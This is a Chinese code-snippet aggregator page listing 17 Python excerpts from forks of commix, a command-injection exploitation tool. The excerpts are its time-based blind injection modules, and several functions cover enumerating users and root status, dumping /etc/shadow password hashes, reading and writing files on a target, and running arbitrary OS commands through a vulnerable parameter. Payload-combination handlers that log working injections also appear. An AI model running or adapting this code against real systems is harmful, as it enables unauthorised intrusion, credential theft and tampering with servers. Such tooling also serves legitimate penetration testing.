本文整理汇总了Python中src.core.injections.blind_based.techniques.time_based.tb_injector.injection函数 的典型用法代码示例。如果您正苦于以下问题:Python injection函数的具体用法?Python injection怎么用?Python injection使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了injection函数 的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: current_user
def current_user(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):
cmd = settings.CURRENT_USER
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privileges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long, output = tb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
)
is_root = output
if is_root:
sys.stdout.write(
Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL
)
if is_root != "0":
sys.stdout.write(
Style.BRIGHT
+ " and it is "
+ Style.UNDERLINE
+ "not"
+ Style.RESET_ALL
+ Style.BRIGHT
+ " privilleged"
+ Style.RESET_ALL
+ ".\n"
)
sys.stdout.flush()
else:
sys.stdout.write(
Style.BRIGHT
+ " and it is "
+ Style.UNDERLINE
+ ""
+ Style.RESET_ALL
+ Style.BRIGHT
+ " privilleged"
+ Style.RESET_ALL
+ ".\n"
)
sys.stdout.flush()
else:
sys.stdout.write(
Style.BRIGHT + "\n\n (!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n"
)
sys.stdout.flush()
开发者ID:hotelzululima, 项目名称:commix, 代码行数:60, 代码来源:tb_enumeration.py
示例2: system_information
def system_information(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):
cmd = settings.RECOGNISE_OS
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
target_os = output
if target_os:
print ""
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "\n\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + "\n (!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
开发者ID:ROIXppttdr, 项目名称:commix, 代码行数:28, 代码来源:tb_enumeration.py
示例3: do_check
def do_check(separator,maxlen,TAG,prefix,suffix,delay,http_request_method,url,vuln_parameter):
# Read file
if menu.options.file_read:
file_to_read = menu.options.file_read
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n\n (!) Contents of file " + colors.UNDERL + file_to_read + colors.RESET + " : ")
sys.stdout.flush()
print shell
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to read the '"+ file_to_read + "' file.\n" + colors.RESET)
sys.stdout.flush()
# Write file
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that the '"+ file_to_write + "' does not exists." + colors.RESET)
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'","\"")
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that '"+ file_to_write + "' is not a file." + colors.RESET)
sys.stdout.flush()
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
cmd = settings.FILE_WRITE + " '"+ content + "'" + " > " + "'"+ dest_to_write + "'"
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(colors.BOLD + "\n(!) The " + colors.UNDERL + shell + colors.RESET + colors.BOLD +" file was created successfully!\n" + colors.RESET)
sys.stdout.flush()
else:
sys.stdout.write("\n" + colors.BGRED + "(x) Error: It seems that you don't have permissions to write the '"+ dest_to_write + "' file.\n" + colors.RESET)
sys.stdout.flush()
开发者ID:LZ-SecurityTeam, 项目名称:commix, 代码行数:60, 代码来源:tb_file_access.py
示例4: file_write
def file_write(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that the '"+ file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
# Remove whitespace at the end.
content = content.rstrip()
else:
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '"+ file_to_write + "' is not a file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
cmd = settings.FILE_WRITE + "'" + content + "'" + " > " + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# Check if file exists!
print ""
cmd = "echo $(ls " + dest_to_write + ")"
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The " + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT +" file was created successfully!" + Style.RESET_ALL + "\n\n")
sys.stdout.flush()
else:
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write the '"+ dest_to_write + "' file." + Style.RESET_ALL + "\n\n")
sys.stdout.flush()
开发者ID:ROIXppttdr, 项目名称:commix, 代码行数:52, 代码来源:tb_file_access.py
示例5: file_read
def file_read(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
)
shell = output
shell = "".join(str(p) for p in shell)
if shell:
if menu.options.verbose:
print ""
sys.stdout.write(
Style.BRIGHT + "\n\n (!) Contents of file " + Style.UNDERLINE + file_to_read + Style.RESET_ALL + " : "
)
sys.stdout.flush()
print shell
else:
sys.stdout.write(
"\n"
+ Fore.YELLOW
+ "(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read
+ "' file."
+ Style.RESET_ALL
)
sys.stdout.flush()
开发者ID:hotelzululima, 项目名称:commix, 代码行数:28, 代码来源:tb_file_access.py
示例6: hostname
def hostname(
separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename
):
cmd = settings.HOSTNAME
check_how_long, output = tb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(
Style.BRIGHT + "\n\n (!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".\n\n"
)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The hostname is " + shell + ".\n")
output_file.close()
开发者ID:jbarcia, 项目名称:commix, 代码行数:29, 代码来源:tb_enumeration.py
示例7: system_passwords
def system_passwords(
separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
):
sys.stdout.write("\n(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
)
sys_passes = output
if sys_passes:
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace("(@)", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write(
Style.BRIGHT
+ "\n(!) Identified "
+ str(len(sys_passes))
+ " entries in '"
+ settings.SHADOW_FILE
+ "'.\n"
+ Style.RESET_ALL
)
sys.stdout.flush()
count = 0
for line in sys_passes:
count = count + 1
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!!" and fields[1] != "":
print " (" + str(count) + ") " + Style.BRIGHT + fields[
0
] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "'." + Style.RESET_ALL
开发者ID:hotelzululima, 项目名称:commix, 代码行数:35, 代码来源:tb_enumeration.py
示例8: single_os_cmd_exec
def single_os_cmd_exec(
separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
):
cmd = menu.options.os_cmd
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
)
return check_how_long, output
开发者ID:hotelzululima, 项目名称:commix, 代码行数:8, 代码来源:tb_enumeration.py
示例9: single_os_cmd_exec
def single_os_cmd_exec(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):
cmd = menu.options.os_cmd
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell)
shell = output
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL
sys.exit(0)
开发者ID:ncoelle, 项目名称:commix, 代码行数:10, 代码来源:tb_enumeration.py
示例10: system_users
def system_users(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell):
sys.stdout.write("\n(*) Fetching '" + settings.PASSWD_FILE + "' to enumerate users entries... ")
sys.stdout.flush()
cmd = settings.SYS_USERS
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell
)
sys_users = output
if sys_users:
sys_users = "".join(str(p) for p in sys_users)
sys_users = sys_users.replace("(@)", "\n")
sys_users = sys_users.split()
if len(sys_users) != 0:
sys.stdout.write(
Style.BRIGHT
+ "\n(!) Identified "
+ str(len(sys_users))
+ " entries in '"
+ settings.PASSWD_FILE
+ "'.\n"
+ Style.RESET_ALL
)
sys.stdout.flush()
count = 0
for line in sys_users:
count = count + 1
fields = line.split(":")
# System users privileges enumeration
if menu.options.privileges:
if int(fields[1]) == 0:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534:
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
elif int(fields[1]) == 60002:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
else:
is_privilleged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
else:
is_privilleged = ""
else:
is_privilleged = ""
print " (" + str(count) + ") '" + Style.BRIGHT + Style.UNDERLINE + fields[
0
] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privilleged + Style.RESET_ALL + "(uid=" + fields[
1
] + ").Home directory is in '" + Style.BRIGHT + fields[
2
] + Style.RESET_ALL + "'."
else:
print "\n" + Back.RED + "(x) Error: Cannot open '" + settings.PASSWD_FILE + "'." + Style.RESET_ALL
开发者ID:hotelzululima, 项目名称:commix, 代码行数:53, 代码来源:tb_enumeration.py
示例11: do_check
def do_check(separator,maxlen,TAG,prefix,suffix,delay,http_request_method,url,vuln_parameter):
# Current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
print "\n\n" + " (+) Current User : "+ colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Is-root enumeration
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
sys.stdout.write( "\n\n" + " (+) Current user have root privs :")
sys.stdout.flush()
if output != "0":
print colors.RED + " FALSE " + colors.RESET
else:
print colors.GREEN + " TRUE " + colors.RESET
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
print "\n\n" + " (+) Hostname : "+ colors.YELLOW + colors.BOLD + output + colors.RESET + ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
if menu.options.verbose:
print ""
print "\n\n" + colors.GREEN + colors.BOLD + output + colors.RESET
print "\n(*) Finished in "+ time.strftime('%H:%M:%S', time.gmtime(check_how_long)) +".\n"
sys.exit(0)
# eof
开发者ID:CodeGuardian, 项目名称:commix, 代码行数:36, 代码来源:tb_enumeration.py
示例12: system_passwords
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
print ""
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
sys_passes = output
if sys_passes :
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) Identified " + str(len(sys_passes)) + " entries in '" + settings.SHADOW_FILE + "'.\n" )
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
print " ("+str(count)+") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" ("+str(count)+") " + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
sys.stdout.write(Fore.YELLOW + "(^) Warning: It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
print ""
else:
print Back.RED + "(x) Error: Cannot open '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL + "\n"
开发者ID:ROIXppttdr, 项目名称:commix, 代码行数:40, 代码来源:tb_enumeration.py
示例13: file_read
def file_read(separator, maxlen, TAG, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
cmd = "echo $(" + settings.FILE_READ + file_to_read + ")"
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if shell:
# if menu.options.verbose:
# print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write("\n" + Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read the '"+ file_to_read + "' file." + Style.RESET_ALL)
sys.stdout.flush()
开发者ID:jbarcia, 项目名称:commix, 代码行数:23, 代码来源:tb_file_access.py
示例14: do_check
def do_check(separator,maxlen,TAG,prefix,suffix,delay,http_request_method,url,vuln_parameter):
# Hostname enumeration
if menu.options.hostname:
cmd = settings.HOSTNAME
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
shell = output
if shell:
shell = "".join(str(p) for p in output)
sys.stdout.write(colors.BOLD + "\n\n (!) The hostname is " + colors.UNDERL + shell + colors.RESET + ".\n")
sys.stdout.flush()
# "Retrieve certain system information (operating system, hardware platform)
if menu.options.sys_info:
cmd = settings.RECOGNISE_OS
check_how_long,output =tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
target_os = output
if target_os:
target_os = "".join(str(p) for p in output)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
check_how_long,output =tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
target_arch = output
if target_arch:
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(colors.BOLD + "\n\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET)
sys.stdout.write(colors.BOLD + " and the hardware platform is " + colors.UNDERL + target_arch + colors.RESET + ".\n")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n (!) The target operating system is " + colors.UNDERL + target_os + colors.RESET + ".\n")
sys.stdout.flush()
# The current user enumeration
if menu.options.current_user:
cmd = settings.CURRENT_USER
check_how_long,output =tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in output)
# Check if the user have super privilleges.
if menu.options.is_root:
cmd = settings.ISROOT
check_how_long,output =tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
if shell:
sys.stdout.write(colors.BOLD + "\n\n (!) The current user is " + colors.UNDERL + cu_account + colors.RESET)
if shell != "0":
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "not" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + " and it is " + colors.UNDERL + "" + colors.RESET + colors.BOLD + " privilleged" + colors.RESET + ".")
sys.stdout.flush()
else:
sys.stdout.write(colors.BOLD + "\n(!) The current user is " + colors.UNDERL + cu_account + colors.RESET + ".")
sys.stdout.flush()
print ""
# Single os-shell execution
if menu.options.os_shell:
cmd = menu.options.os_shell
check_how_long,output = tb_injector.injection(separator,maxlen,TAG,cmd,prefix,suffix,delay,http_request_method,url,vuln_parameter)
shell = output
if shell:
if menu.options.verbose:
print ""
shell = "".join(str(p) for p in shell)
print "\n" + colors.GREEN + colors.BOLD + output + colors.RESET
sys.exit(0)
# eof
开发者ID:em616, 项目名称:commix, 代码行数:69, 代码来源:tb_enumeration.py
示例15: tb_injection_handler
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):
percent = 0
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response <= 1 and how_long >= delay) or \
#.........这里部分代码省略.........
开发者ID:hotelzululima, 项目名称:commix, 代码行数:101, 代码来源:tb_handler.py
示例16: tb_injection_handler
def tb_injection_handler(url,delay,filename,http_request_method):
counter = 0
vp_flag = True
no_result = True
is_encoded= False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Print the findings to log file.
output_file = open(filename + ".txt", "a")
output_file.write("\n---")
output_file.write("\n(+) Type : " + injection_type)
output_file.write("\n(+) Technique : " + technique.title())
output_file.close()
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print colors.BGRED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + colors.RESET
sys.stdout.write( colors.BOLD + "(*) Testing the "+ technique + "... " + colors.RESET)
sys.stdout.flush()
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
tag_length = len(TAG) + 4
for j in range(1,int(tag_length)):
try:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator,TAG,j,delay,http_request_method)
# Check if defined "--prefix" option.
if menu.options.prefix:
prefix = menu.options.prefix
payload = prefix + payload
else:
payload = prefix + payload
# Check if defined "--suffix" option.
if menu.options.suffix:
suffix = menu.options.suffix
payload = payload + suffix
else:
payload = payload + suffix
# Check if defined "--verbose" option.
if menu.options.verbose:
if separator == ";" or separator == "&&" or separator == "||":
sys.stdout.write("\n" + colors.GREY + payload + colors.RESET)
# Check if target host is vulnerable.
how_long,vuln_parameter = tb_injector.injection_test(payload,http_request_method,url)
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if how_long == delay:
found = True
no_result = False
if http_request_method == "GET":
# Print the findings to log file
if vp_flag == True:
output_file = open(filename + ".txt", "a")
output_file.write("\n(+) Parameter : " + vuln_parameter + " (" + http_request_method + ")")
output_file.write("\n---\n")
vp_flag = False
output_file.close()
counter = counter + 1
output_file = open(filename + ".txt", "a")
output_file.write(" ("+str(counter)+") Payload : "+ re.sub("%20", " ", payload) + "\n")
output_file.close()
# Print the findings to terminal.
print colors.BOLD + "\n(!) The ("+ http_request_method + ") '" + vuln_parameter +"' parameter is vulnerable to "+ injection_type +"."+ colors.RESET
print " (+) Type : "+ colors.YELLOW + colors.BOLD + injection_type + colors.RESET + ""
print " (+) Technique : "+ colors.YELLOW + colors.BOLD + technique.title() + colors.RESET + ""
print " (+) Parameter : "+ colors.YELLOW + colors.BOLD + vuln_parameter + colors.RESET + ""
print " (+) Payload : "+ colors.YELLOW + colors.BOLD + re.sub("%20", " ", urllib.unquote_plus(payload)) + colors.RESET
else :
# Print the findings to log file
if vp_flag == True:
#.........这里部分代码省略.........
开发者ID:shengqi158, 项目名称:commix, 代码行数:101, 代码来源:tb_handler.py
示例17: tb_injection_handler
def tb_injection_handler(url,delay,filename,http_request_method):
counter = 0
vp_flag = True
no_result = True
is_encoded= False
export_injection_info = False
injection_type = "Blind-based Command Injection"
technique = "time-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = menu.options.maxlen
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print colors.BGRED + "(x) Error: The '--url-reload' option is not available in "+ technique +"!" + colors.RESET
i = 0
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
# Estimating the response time (in seconds)
# opener = urllib.FancyURLopener({})
request = urllib2.Request(url)
headers.do_check(request)
start = time.time()
#f = opener.open(url)
response = urllib2.urlopen(request)
response.read(1)
response.close()
end = time.time()
diff = end - start
url_time_response = int(diff)
if url_time_response != 0 :
print colors.BOLD + "(!) The estimated response time is " + str(url_time_response) + " second" + "s"[url_time_response == 1:] + "." + colors.RESET
delay = int(delay) + int(url_time_response)
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Define alter shell
alter_shell = menu.options.alter_shell
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
tag_length = len(TAG) + 4
for j in range(1,int(tag_length)):
try:
if alter_shell:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision_alter_shell(separator,TAG,j,delay,http_request_method)
else:
# Time-based decision payload (check if host is vulnerable).
payload = tb_payloads.decision(separator,TAG,j,delay,http_request_method)
# Check if defined "--prefix" option.
if menu.options.prefix:
prefix = menu.options.prefix
payload = prefix + payload
else:
payload = prefix + payload
# Check if defined "--suffix" option.
if menu.options.suffix:
suffix = menu.options.suffix
payload = payload + suffix
else:
payload = payload + suffix
# Check if defined "--verbose" option.
if menu.options.verbose:
